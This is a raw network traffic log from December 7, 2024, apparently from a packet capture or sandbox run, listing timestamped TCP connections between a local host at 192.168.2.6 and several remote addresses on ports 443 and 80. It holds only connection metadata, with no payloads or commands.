Dec 7, 2024 22:40:36.349674940 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.349694967 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.349767923 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.349963903 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.349972963 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.623730898 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.623820066 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.623876095 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.624155045 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.624174118 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.624185085 CET	49785	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.624190092 CET	443	49785	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.626656055 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.626713037 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.626770973 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.626902103 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.626918077 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.628916025 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.628982067 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.629031897 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.629070997 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.629077911 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.629086018 CET	49787	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.629093885 CET	443	49787	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.630855083 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.630882025 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.630939007 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.631239891 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.631249905 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.633208036 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.633299112 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.633368015 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.633398056 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.633398056 CET	49786	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.633409977 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.633418083 CET	443	49786	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.635224104 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.635235071 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.635289907 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.635390043 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.635401964 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.860191107 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:36.860327005 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:36.861974955 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:36.861988068 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:36.862257004 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:36.863416910 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:36.863464117 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:36.863471031 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:36.863584995 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:36.907337904 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:36.941435099 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.941967964 CET	49789	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.942018032 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:36.942434072 CET	49789	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:36.942440987 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:37.375225067 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:37.375284910 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:37.375408888 CET	49789	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:37.375622034 CET	49789	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:37.375644922 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:37.375669956 CET	49789	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:37.375677109 CET	443	49789	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:37.378529072 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:37.378572941 CET	443	49795	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:37.378674030 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:37.378786087 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:37.378801107 CET	443	49795	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:37.417105913 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:37.417232990 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:37.417424917 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:37.417701006 CET	49788	443	192.168.2.6	20.198.118.190
Dec 7, 2024 22:40:37.417721987 CET	443	49788	20.198.118.190	192.168.2.6
Dec 7, 2024 22:40:37.700360060 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:37.700495005 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.029586077 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.064838886 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.065248013 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.065265894 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.065685987 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.065692902 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.149014950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.341223955 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.341916084 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.341942072 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.342374086 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.342381001 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.347764969 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.348253012 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.348268986 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.348709106 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.348715067 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.350229979 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.350505114 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.350511074 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.350821018 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.350824118 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.467067003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467139006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467150927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467201948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.467201948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.467387915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467427015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.467449903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467461109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467472076 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467525959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.467971087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467983961 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.467995882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.468015909 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.468051910 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.475476027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.475557089 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.498739958 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.498806953 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.498872995 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.499157906 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.499176025 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.499186039 CET	49791	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.499191999 CET	443	49791	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.501862049 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.501888037 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.501995087 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.502129078 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.502146006 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.586623907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.586849928 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.659352064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.659574986 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.659640074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.663479090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.663503885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.663686037 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.671555042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.671638966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.671713114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.679822922 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.679878950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.679963112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.680058002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.687915087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.687963963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.687973022 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.688014984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.695969105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.696080923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.696131945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.696146011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.704180956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.704303026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.704385996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.712321043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.712393999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.712476969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.720516920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.720578909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.720581055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.720619917 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.728589058 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.728642941 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.728712082 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.728764057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.736167908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.736222029 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.736288071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.736525059 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.743752956 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.743805885 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.777940989 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.778255939 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.778425932 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.778425932 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.778425932 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.781778097 CET	49797	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.781809092 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.781903982 CET	49797	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.782147884 CET	49797	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.782159090 CET	443	49797	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.783678055 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.783737898 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.783787012 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.783930063 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.783947945 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.783957958 CET	49793	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.783966064 CET	443	49793	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.784755945 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.784813881 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.784871101 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.785515070 CET	49794	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.785523891 CET	443	49794	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.788379908 CET	49798	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.788403034 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.788604021 CET	49799	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.788629055 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.788640976 CET	49798	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.788670063 CET	49799	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.788749933 CET	49798	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.788763046 CET	443	49798	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.788849115 CET	49799	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:38.788861990 CET	443	49799	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:38.850970030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.851032972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.851099968 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.851146936 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.853487015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.853601933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.853602886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.853637934 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.858429909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.858478069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.858556032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.858666897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.863389969 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.863449097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.863507032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.863548040 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.868369102 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.868418932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.868489027 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.868630886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.873119116 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.873171091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.873251915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.873294115 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.877888918 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.877938032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.878017902 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.878067017 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.882653952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.882707119 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.882747889 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.882791042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.887428045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.887535095 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.887542009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.887660027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.892244101 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.892292976 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.892334938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.892380953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.897052050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.897134066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.897142887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.897306919 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.901730061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.901807070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.901854992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.906461000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.906517982 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.906594038 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.906644106 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.911267042 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.911355019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.911411047 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.916014910 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.916049957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.916098118 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.920766115 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.920861959 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.920891047 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.920933962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.925518990 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.925609112 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.925628901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.925668955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.930301905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.930357933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.930401087 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.930500984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.935045958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.935107946 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:38.935154915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:38.935198069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.042747974 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.042818069 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.042881012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.042979002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.044682026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.044802904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.044858932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.048577070 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.048634052 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.048676014 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.048732042 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.052434921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.052484989 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.052516937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.052563906 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.056312084 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.056356907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.056411982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.056457043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.060086012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.060141087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.060189009 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.060296059 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.063719988 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.063781977 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.063828945 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.063870907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.067240000 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.067291975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.067341089 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.067385912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.070755959 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.070878983 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.070930958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.074259996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.074311972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.074372053 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.074415922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.076926947 CET	49792	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.076941967 CET	443	49792	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.077907085 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.077989101 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.078020096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.078063965 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.081295967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.081362009 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.081409931 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.081453085 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.084836960 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.084886074 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.084914923 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.084959030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.088380098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.088454008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.088516951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.091998100 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.092009068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.092061996 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:39.094249010 CET	443	49795	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.094820976 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.094841957 CET	443	49795	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.095386028 CET	49795	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:39.095391035 CET	443	49795	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:39.095458984 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:39.095482111 CET	80	49790	185.215.113.206	192.168.2.6
